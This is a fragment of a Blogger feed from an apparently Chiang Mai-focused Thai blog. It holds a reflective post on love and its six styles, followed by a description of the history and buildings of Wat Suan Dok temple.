เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องเสียใจเพราะเค้าไม่รัก&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไมเราต้องยิ้มได้ถ้าเค้ามีความสุข&lt;br /&gt;
เคยถามตัวเองบ้างไหม...ว่าทำไม เราต้องเสียน้ำตาเพราะเรื่องของเค้า&lt;br /&gt;
&lt;br /&gt;
ถ้าคุณตอบตัวเองได้ทั้งหมด...&lt;br /&gt;
ความรักของทุกคนก็คงออกแบบได้&lt;br /&gt;
ทั้งๆ ที่ความจริงแล้ว...&lt;br /&gt;
ไม่มีใครเคยออกแบบความรักได้อย่างสวยหรู&lt;br /&gt;
ไม่มีใครกำหนดความรัก ให้มันเป็นไปตามใจต้องการ&lt;br /&gt;
เพราะ &quot;ความรัก&quot; มักใช้ &quot;ความรู้สึก&quot; มากกว่า &quot;เหตุผล&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
เพียงแค่คุณเปิดใจยอมรับกับมัน&lt;br /&gt;
และทำทุกสิ่งทุกอย่างให้มีความสุข&lt;br /&gt;
แค่นี้คุณก็จะตอบตัวเองได้แล้วว่า&lt;br /&gt;
เรามี &quot;ความรัก&quot; เพราะอะไรหลายคนอาจมีความรักหลายคนเคยอกหักหลายคนเคยผิดหวังหลายคนเคยท้อแท้หลายคนเคยเข็ดกับความรักหลายคนเคยเสียน้ำตาหลายคนเคยคิดสั้นหลายคนเคยมองว่าตัวเองโง่แต่เราก็อยู่ได้เพราะความรักรักไม่ได้ทำร้ายใครแต่เราต่างหากที่ทำร้ายตัวเองเปิดใจรับมันแล้วชีวิตจะมีความสุข &amp;gt;.&amp;lt;....!!!&lt;br /&gt;
&lt;br /&gt;
รัก 6 ประเภท &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; วันนี้มีรูปแบบของความรักมาฝากให้คิดกันว่า . . . ความรักของคุณในตอนนี้เป็นแบบไหนกันบ้าง&lt;br /&gt;
&amp;nbsp;&amp;gt;1. ความรักแบบเสน่หา (Eros) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักเป็นสิ่งที่สำคัญที่สุดในชีวิต แม้จะไม่มากพอที่จะทำลายตนเอง หรือรู้สึกถูกใจอีกฝ่ายตั้งแต่แรกเห็น คล้ายรักแรกพบ ความดึงดูดใจซึ่งกันและกัน การแสดงออกมาทั้งคำพูดและการแสดงความใกล้ชิด อยากเจอกันทุกวัน ถ้าเป็นไปได้ วาดฝันเกี่ยวกับอีกฝ่ายไว้งดงาม และไม่ได้คาดการณ์ถึงอุปสรรคใดๆ &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; คู่รักประเภทนี้พยายามพัฒนาสัมพันธภาพกับคู่ของตนอย่างรวดเร็ว โดยการเปิดเผย ซื่อสัตย์ และจริงใจ ใส่ใจคู่รักมากเป็นพิเศษ แต่ไม่แสดงความเป็นเจ้าข้าวเจ้าของหรือกลัวว่าจะมีคู่แข่ง &lt;br /&gt;
&amp;nbsp;&amp;gt;2. ความรักแบบไม่ผูกมัด (Ludus) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักเป็นเกมชนิดหนึ่ง เพื่อความบันเทิงของทั้งสองฝ่าย หลีกเลี่ยงการผูกมัด สามารถผลัดเปลี่ยนคู่ไปได้เรื่อยๆ พยายามที่จะไม่สร้างความผูกพันทางอารมณ์อย่างลึกซึ้งกับใคร เพื่อรักษาความเป็นอิสระของตน ถึงแม้จะไม่ต้องการทำให้อีกฝ่ายเจ็บปวด แต่การโกหกและความไม่จริงใจถือว่าเป็นการเล่นตามกติกาที่มี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักแบบนี้จะไม่หึงหวง หรือแสดงความเป็นเจ้าข้าวเจ้าของ และอาจเห็นชอบให้คู่ของตนมีความสัมพันธ์กับผู้อื่นได้ ทั้งนี้เพื่อสร้างความสมดุลในความสัมพันธ์ของตน &lt;br /&gt;
&amp;gt;3. ความรักแบบมิตรภาพ (Storge) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักพัฒนามาจากมิตรภาพ เป็นความรู้สึกรักใคร่อันเนื่องมาจากการคบหากันมาเป็นเวลานาน&amp;nbsp; ไม่ได้มีความรู้สึกตื่นเต้น เร่าร้อน แต่เน้นการกระทำที่ทั้งสองฝ่ายมีความสนใจร่วมกันและมีกิจกรรมร่วมกัน ความรักเป็นสิ่งที่มั่นคง ที่ผนวกเข้าไปกับการดำรงชีวิตตามปกติ &lt;br /&gt;
&amp;nbsp;&amp;gt;4. ความรักแบบลุ่มหลง (Mania) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ผู้ที่มีความรักแบบนี้จะใฝ่หาความรัก แต่เชื่อว่าความรักเป็นความเจ็บปวด ปรารถนาความใกล้ชิดและต้องการความเป็นเจ้าข้าวเจ้าของ ต้องการให้คู่รักของตนแสดงความรักมากกว่าปกติ เมื่อใดที่คู่รักไม่ได้แสดงความใส่ใจ หรือไม่แสดงความรักตามที่ปรารถนา อาจจะทำร้ายตนเอง เพื่อเอาชนะความรัก คู่รักประเภทนี้เชื่อว่า เมื่อปราศจากความรักจากอีกฝ่าย ชีวิตก็ไม่มีคุณค่าอีกต่อไป &lt;br /&gt;
&amp;gt; 5. ความรักแบบมีเหตุผล (Pragma) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เป็นความรักที่ตั้งอยู่บนรากฐานของความเป็นจริง ผู้ที่มีความรักแบบนี้จะแสวงหาคู่ที่เหมาะสมกับตนมากที่สุด เชื่อว่าความสัมพันธ์จะราบรื่นก็ต่อเมื่อคู่รักสามารถตอบสนองความต้องการพื้นฐานของกันและกัน ได้แสวงหาคนที่มีลักษณะคล้ายตนหรือต่างจากตน แต่ช่วยเติมเต็มส่วนที่ขาด การเลือกคู่จะมีลักษณะคล้ายรักเผื่อเลือก ทั้งนี้ก็เพราะคาดหวังสัมพันธภาพที่ยั่งยืน &lt;br /&gt;
&amp;nbsp;&amp;gt;6. ความรักแบบเสียสละ (Agape) &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เป็นความรักที่ปราศจากความเห็นแก่ตัว ต้องการเป็นผู้ให้มากกว่าผู้รับ มีความห่วงใย และคำนึงถึงความสุขของคู่รักเป็นสำคัญ โดยไม่ใส่ใจกับความต้องการของตนเอง &quot;การให้&quot; เป็นปัจจัยสำคัญของความรักแบบนี้ นักจิตวิทยาได้ทำการศึกษาพบว่า ในชีวิตจริงคู่สมรสจะมีรูปแบบความรักที่คล้ายคลึงกัน เมื่อเปรียบเทียบระหว่างคู่ที่มีความสัมพันธ์ยาวนานกับคู่ที่เลิกราไป พบว่าประเภทแรกจะมีความรักแบบเสน่หาสูงกว่า และมีความรักแบบไม่ผูกมัดต่ำกว่าประเภทหลัง รูปแบบของความรักอาจเปลี่ยนแปลงไปตามกาลเวลา และลักษณะของบุคคลที่เรามีความสัมพันธ์ด้วย&amp;nbsp; &lt;br /&gt;
โดดเดี่ยวเดียวดายให้มีสุข&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักของเราแต่ละคนอาจเริ่มต้นจากการพบกันโดยบังเอิญ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; มีเพื่อนแนะนำให้รู้จักกันตอนไปงานเลี้ยง งานวันเกิดเพื่อน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำงานที่เดียวกัน&amp;nbsp;&amp;nbsp; หรือรู้จักมักคุ้นกันตั้งแต่ยังเด็ก ฯลฯ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ไม่ว่าเราจะพบเจอกันด้วยเหตุการณ์แบบไหน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; การเริ่มต้นของความรักก็มักเริ่มจากความสุขและความงดงามเสมอ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; มีความทรงจำและความประทับใจในกันและกันจนต้องสานสัมพันธ์ต่อ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำความรู้จักตั้งแต่ผิวเผินจนมาเป็นคนรักกันในที่สุด&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่ใครจะไปรู้ว่าความรักครั้งนี้จะลงเอยอย่างไร&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ไม่ว่าจุดเริ่มต้นจะเป็นเช่นไร สุดท้ายก็มีแต่ความเศร้าอยู่ดี&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แม้เราจะพยายามทำใจให้ยอมรับกับความไม่แน่นอนบ้างแล้วส่วนหนึ่ง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่เมื่อถึงเวลานั้นจริงๆ ก็ไม่มีใครห้ามน้ำตาไม่ให้มันไหลได้เลยสักคน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ความรักนั้นมักถูกมองว่าเป็นเรื่องใหญ่อย่างหนึ่งในชีวิต&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จึงไม่ใช่เรื่องแปลกที่ทุกคนจะให้ความสำคัญกับมันมากเป็นพิเศษ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; และพยายามสืบเสาะหาใครคนนั้นที่จะมาเป็นคู่ชีวิต&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เพื่อที่จะมาร่วมสร้างความสุข&amp;nbsp;&amp;nbsp; เสียงหัวเราะ&amp;nbsp;&amp;nbsp; มอบรอยยิ้ม&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; มอบสิ่งดีๆ ให้แก่กัน สร้างอนาคตที่สดใส &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ใช้วันคืนและแบ่งปันความสุขความทุกข์ที่มีร่วมกัน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เมื่อถึงวันนั้นเราจึงต้องพยายามทำทุกวิถีทางเพื่อให้มันอยู่กับเราไปนานๆ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่ความรักมันก็เหมือนเรื่องอื่นๆ ในชีวิตที่เราได้แต่ทำให้ดีที่สุดเท่านั้น&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; รักกันให้ดีๆ ทำแต่สิ่งดีๆ&amp;nbsp;&amp;nbsp; พูดแต่สิ่งดีๆ&amp;nbsp;&amp;nbsp; มอบแต่สิ่งดีๆ ให้คนที่เรารัก&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่มันจะลงเอยอย่างไรก็เป็นเรื่องของอนาคตที่ไม่อาจกำหนดผลได้&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จะสมหวังหรือผิดหวังก็เป็นเพียงสิ่งที่สามารถจะเกิดขึ้นได้ทั้งสองทาง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เราคงไม่อาจไปทัดทานอะไรได้&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; หากเขาเป็นคนที่ใช่...สุดท้ายมันก็คือใช่&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่หากเขาไม่ใช่...จะยื้ออย่างไรก็คงอยู่กับเราได้ไม่นานนัก&amp;nbsp; ก้อต้องทำใจ&amp;nbsp; ปล่อยเขาไปเถอะ...</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/3893155933511942805/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/3893155933511942805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/3893155933511942805'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/05/blog-post.html' title='ทำไมเราต้องมี...ความรัก'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-6498817851938784124</id><published>2011-04-27T17:22:00.000+07:00</published><updated>2011-04-27T17:22:28.655+07:00</updated><title type='text'>วัดสวนดอก</title><content type='html'>&lt;strong&gt;ที่ตั้งและอาณาเขต&lt;br /&gt;
&lt;/strong&gt;&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;วัดสวนดอก&lt;/a&gt;ตั้งอยู่ในเขตเทศบาลนครเชียงใหม่ เลขที่ 139 ถนนสุเทพ ตำบลสุเทพ อำเภอเมือง จังหวัดเชียงใหม่ ห่างจากประตูสวนดอกไปทางทิศตะวันตก 1 กิโลเมตร กินเนื้อที่ 35 ไร่ 2 งาน 44 ตารางวา ทิศเหนือยาว 183 เมตร ทิศใต้ยาว 193 เมตร ทิศตะวันออกยาว 176 เมตร และทิศตะวันตกยาว 176 เมตร&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;ประวัติ&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;วัดสวนดอก&lt;/a&gt;ในอดีตนั้นป็นสวนดอกไม้ (ต้นพยอม) ของเจ้านายฝ่ายเหนือใน ราชวงศ์เม็งราย โดยในปี พ.ศ. 1914 (ศักราชนี้ถือตามหนังสือชินกาลมาลีปกรณ์ของพระรัตนปัญญาเกตุ) พระเจ้ากือนา กษัตริย์องค์ที่ 6 แห่ง ราชวงศ์เม็งราย ทรงพระกรุณาโปรดเกล้าฯ ให้สร้างเป็น &quot;พระอารามหลวง&quot; เพื่อให้เป็นที่จำพรรษาของ &quot;พระมหาเถระสุมน&quot; ผู้ประดิษฐานพระพุทธศาสนาลัทธิลังกาวงศ์ ในแผ่นดินล้านนา และสร้างองค์พระเจดีย์เพื่อประดิษฐาน &quot;พระบรมสารีริกธาตุ&quot; 1 ใน 2 องค์ ที่ &quot;พระมหาเถระสุมน&quot; อัญเชิญมาจากสุโขทัย ในปี พ.ศ. 1912 (องค์หนึ่งประดิษฐานอยู่ในพระเจดีย์ ใน วัดพระธาตุดอยสุเทพราชวรวิหาร)&lt;br /&gt;
&lt;br /&gt;
ในสมัย ราชวงศ์เม็งราย &lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;วัดสวนดอก&lt;/a&gt; มีความเจริญรุ่งเรืองมาก แต่หลังจากสิ้น ราชวงศ์เม็งราย บ้านเมืองตกอยู่ในอำนาจพม่า ทั้งเกิดจลาจลวุ่นวาย วัดนี้จึงกลายสภาพเป็นวัดร้างไป&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt; วัดสวนดอก&lt;/a&gt; ได้รับการบูรณะปฏิสังขรณ์ขึ้นใหม่อีกครั้ง ในรัชสมัย พระเจ้าบรมราชาธิบดีกาวิละ แห่ง ราชวงศ์ทิพย์จักราธิวงศ์ (เจ้าเจ็ดตน) และได้รับการทำนุบำรุงจาก เจ้านายฝ่ายเหนือ และประชาชนเชียงใหม่มาโดยตลอด&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;วัดสวนดอก&lt;/a&gt; ต่อได้รับการบูรณะครั้งสำคัญ 2 ครั้ง ครั้งแรกในปี พ.ศ. 2540 พระราชชายา เจ้าดารารัศมี ใน พระบาทสมเด็จพระจุลจอมเกล้าเจ้าอยู่หัว ทรงพระกรุณาโปรดเกล้าฯ ให้อัญเชิญรวบรวมพระอัฐิ เจ้าผู้ครองนครเชียงใหม่ และ พระประยูรญาติ มาประดิษฐานรวมกัน และต่อมาอีกครั้งหนึ่งในปี พ.ศ. 2475 เป็นการบูรณะปฏิสังขรณ์องค์พระวิหารโดย ครูบาเจ้าศรีวิชัย นักบุญแห่งล้านนา&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;ปูชนียสถาน-วัตถุ&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;พระเจดีย์ใหญ่ทรงลังกา&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;พระเจดีย์วัดสวนดอก&lt;/a&gt; ได้รับการบูรณะใหม่และหุ้มแผ่นทองจังโก&lt;br /&gt;
&lt;br /&gt;
พระเจดีย์ใหญ่ทรงลังกาบรรจุพระบรมสารีริกธาตุ สร้างขึ้นในปี พ.ศ. 1914 ในรัชกาลของพระเจ้ากือนา กษัตริย์องค์ที่ 6 แห่ง ราชวงศ์เม็งราย โปรดเกล้าฯ ให้สร้าง &quot;พระอารามหลวง&quot; โดยโปรดเกล้าให้สร้าง &quot;พระเจดีย์ทรงลังกา&quot; ขึ้นเพื่อประดิษฐานพระบรมสารีริกธาตุ ที่พระมหาเถระสุมนได้อัญเชิญมาจากสุโขทัย ในปี พ.ศ. 1912 ซึ่งแต่เดิมมีเจดีย์แบบสุโขทัย (ทรงพุ่มข้าวบิณฑ์) อยู่ทางทิศตะวันตกขององค์พระเจดีย์ใหญ่ แต่ได้ปรักหักพังลง พระเจดีย์องค์ใหญ่สูง 24 วา ขึ้นทะเบียนเป็นโบราณสถานแห่งชาติในราชกิจจานุเบกษาเล่มที่ 52 ตอนที่ 75 ลงวันที่ 8 มีนาคม 2478&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;พระเจ้าเก้าตื้อ&lt;/strong&gt;&lt;br /&gt;
พระเจ้าเก้าตื้อ เป็นพระพุทธรูปหล่อองค์ใหญ่ สร้างด้วยโลหะหนัก 9 โกฏิตำลึง (&quot;ตื้อ&quot; เป็นคำในภาษาไทยเหนือ แปลว่า หนักพันชั่ง) พระญาเมืองแก้ว กษัตริย์องค์ที่ 13 แห่ง ราชวงศ์เม็งราย โปรดเกล้าฯ ให้สร้างขึ้นเมื่อปี พ.ศ. 2047 &quot;พระเจ้าเก้าตื้อ&quot; เป็นพระพุทธรูปแบบเชียงแสนฝีมือช่างล้านนาและสุโขทัย หน้าตักกว้าง 8 ศอก หรือ 3 เมตร สูง 4.70 เมตร เพื่อเป็นพระองค์ประธานใน วัดพระสิงห์ แต่เนื่องมีน้ำหนักมากไม่สามารถเคลื่อนย้ายได้ จึงได้ถวายเรือนหลวงของพระองค์เป็นพระวิหาร พระราชทานชื่อว่า &quot;วัดเก้าตื้อ&quot; แทน ซึ่งต่อมาภายหลังได้รับการบูรณะปฏิสังขรณ์ในสมัย ครูบาเจ้าศรีวิชัย นักบุญแห่งล้านนา ในปี พ.ศ. 2475 กรมศิลปากรได้ขึ้นทะเบียนเป็นโบราณสถานแห่งชาติ ในราชกิจจานุเบกษา เล่มที่ 52 ตอนที่ 75 ลงวันที่ 8 มีนาคม 2478&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;พระพุทธปฏิมาค่าคิง&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
พระพุทธปฏิมาค่าคิง (เท่าพระวรกาย) เป็นพระประธานในพระวิหารหลวง สร้างในสมัยพระเจ้ากือนา พ.ศ. 1916 หล่อด้วยทองสำริด ขนาดเท่าพระวรกายของพระเจ้ากือนา หน้าตักกว้างสองเมตร สูงสองเมตรครึ่ง เรียกชื่อตามภาษาถิ่นล้านนาว่า “พระเจ้าค่าคิง”&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;กู่เจ้านายฝ่ายเหนือ&lt;/strong&gt;&lt;br /&gt;
กู่บรรจุพระอัฐิพระราชชายา เจ้าดารารัศมี&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
กู่เจ้านายฝ่ายเหนือ สร้างขึ้นในปี พ.ศ. 2450 โดยพระดำริใน พระราชชายา เจ้าดารารัศมี ใน พระบาทสมเด็จพระจุลจอมเกล้าเจ้าอยู่หัว เจ้านายฝ่ายเหนือใน ราชตระกูล ณ เชียงใหม่ ซึ่งทรงเห็นว่าทำเลที่ตั้งของวัดสวนดอกกว้างขวาง จึงโปรดให้อัญเชิญรวบรวมพระอัฐิของ เจ้าผู้ครองนครเชียงใหม่ และ พระประยูรญาติ มาประดิษฐานรวมกัน ณ ที่นี่ รวมทั้งได้ประทานทรัพย์ให้การทำนุบำรุงมาโดยตลอดพระชนม์ชีพ หลังจาก พระราชชายา เจ้าดารารัศมี สิ้นพระชนม์ ได้มีการแบ่งพระอัฐิของพระองค์มาประดิษฐานไว้ ณ กู่เจ้านายฝ่ายเหนือ แห่งนี้ (อีกส่วนหนึ่งแบ่งประดิษฐานไว้ใน สุสานหลวง วัดราชบพิธสถิตมหาสีมารามราชวรวิหาร) ปัจจุบัน กู่เจ้านายฝ่ายเหนือ แห่งนี้ ได้ถูกจดทะเบียนให้เป็นโบราณสถานสำคัญ ภายใต้การกำกับดูแลของกรมศิลปากร ขึ้นทะเบียนเป็นโบราณสถานแห่งชาติ ในราชกิจจานุเบกษา เล่มที่ 52 ตอนที่ 75 ลงวันที่ 8 มีนาคม 2478&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;ธรรมาสน์เทศนา&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
ธรรมาสน์เทศนาแบบล้านนา สร้างขึ้นเมื่อ พ.ศ. 2474 และซุ้มประตูวัด จำนวน 3 ซุ้ม เป็นซุ้มประสาทแบบล้านนาขนาดใหญ่ สร้างขึ้นเมื่อครูบาศรีวิชัยบูรณะวัดสวนดอกเมื่อ พ.ศ. 2474&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;อาคารเสนาสนะใน&lt;a href=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?topic=82.0&quot;&gt;วัดสวนดอก&lt;/a&gt;&lt;/strong&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๑ .&amp;nbsp; &amp;nbsp; พระวิหารหลวง&amp;nbsp; &amp;nbsp; &amp;nbsp; พระวิหารหลวงมีขนาดกว้าง&amp;nbsp; 12 วา 2 ศอก&amp;nbsp; ยาว&amp;nbsp; 33&amp;nbsp; วาสร้างขึ้นเมื่อพ.ศ.2474&amp;nbsp; สร้างขึ้นโดยครูบาศรีวิชัยและเจ้าแก้วนวรัฐ&amp;nbsp; เป็นอาคารคอนกรีตเสริมเหล็กซึ่งมีลักษณะพิเศษ คือ&amp;nbsp; เป็นวิหารโล่ง ไม่มีผนังแต่มีระเบียงโดยรอบ&amp;nbsp; หน้าบันทั้ง 2&amp;nbsp; ด้านมีลายปูนปั้นเครือเถาศิลปะแบบล้านนาที่สวยงาม&amp;nbsp; &amp;nbsp; &amp;nbsp; พระวิหารหลวงนี้ได้ขึ้นทะเบียนเป็นโบราณสถานแห่งชาติในราชกิจจานุเบกษา&amp;nbsp; &amp;nbsp; เล่มที่&amp;nbsp; 52&amp;nbsp; ตอนที่&amp;nbsp; 75&amp;nbsp; ลงวันที่8&amp;nbsp; มีนาคม&amp;nbsp; พ.ศ.2478&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๒ .&amp;nbsp; &amp;nbsp; พระอุโบสถที่ประดิษฐานพระเจ้าเก้าตื้อ&amp;nbsp; &amp;nbsp; เป็นพระอุโบสถกว้าง&amp;nbsp; 12&amp;nbsp; เมตรยาว&amp;nbsp; 27&amp;nbsp; เมตร&amp;nbsp; สร้างขึ้นเมื่อปี พ.ศ.2047&amp;nbsp; เป็นอาคารคอนกรีตก่ออิฐถือปูน ซึ่งเป็นศิลปะแบบล้านนาโดยได้รับการบูรณปฏิสังขรณ์ครั้งล่าสุด เมื่อพ.ศ. 2505&amp;nbsp; ภายในมีจิตรกรรมฝาผนังโดยจิตรกรรุ่นใหม่เกี่ยวกับพุทธประวัติและเวสสันดรชาดก&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๓ .&amp;nbsp; หอฉัน&amp;nbsp; เป็นอาคารชั้นเดียว กว้าง 8 เมตร ยาว 12 เมตรภายในมีภาพจิตรกรรมฝาผนังเกี่ยวกับ เรื่องพระเจ้าสิบชาติ&amp;nbsp; หอฉันนี้สร้างใน ปีพ.ศ.&amp;nbsp; 2519&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๔.&amp;nbsp; &amp;nbsp; ศาลาการเปรียญ&amp;nbsp; &amp;nbsp; &amp;nbsp; เป็นอาคารทรงไทยแบบก่ออิฐถือปูน&amp;nbsp; สร้างขึ้นเมื่อ ปีพ.ศ.2532&amp;nbsp; เป็นศาลากว้าง&amp;nbsp; 7&amp;nbsp; เมตร&amp;nbsp; ยาว&amp;nbsp; 27&amp;nbsp; เมตร&amp;nbsp; &amp;nbsp; สร้างขึ้นเพื่อเป็นอนุสรณ์แด่ พระครูสุคันธศีล&amp;nbsp; (คำแสน อินทจกโก )&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๕.&amp;nbsp; &amp;nbsp; อาคารเรียนมหาวิทยาลัยมหาจุฬาลงกรณ์ราชวิทยาลัยวิทยาเขตเชียงใหม่ (อาคาร1)&amp;nbsp; &amp;nbsp; เป็นอาคาร3ชั้นกว้าง20เมตรยาว40เมตร สร้างเสร็จเมื่อปีพ.ศ.2536&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
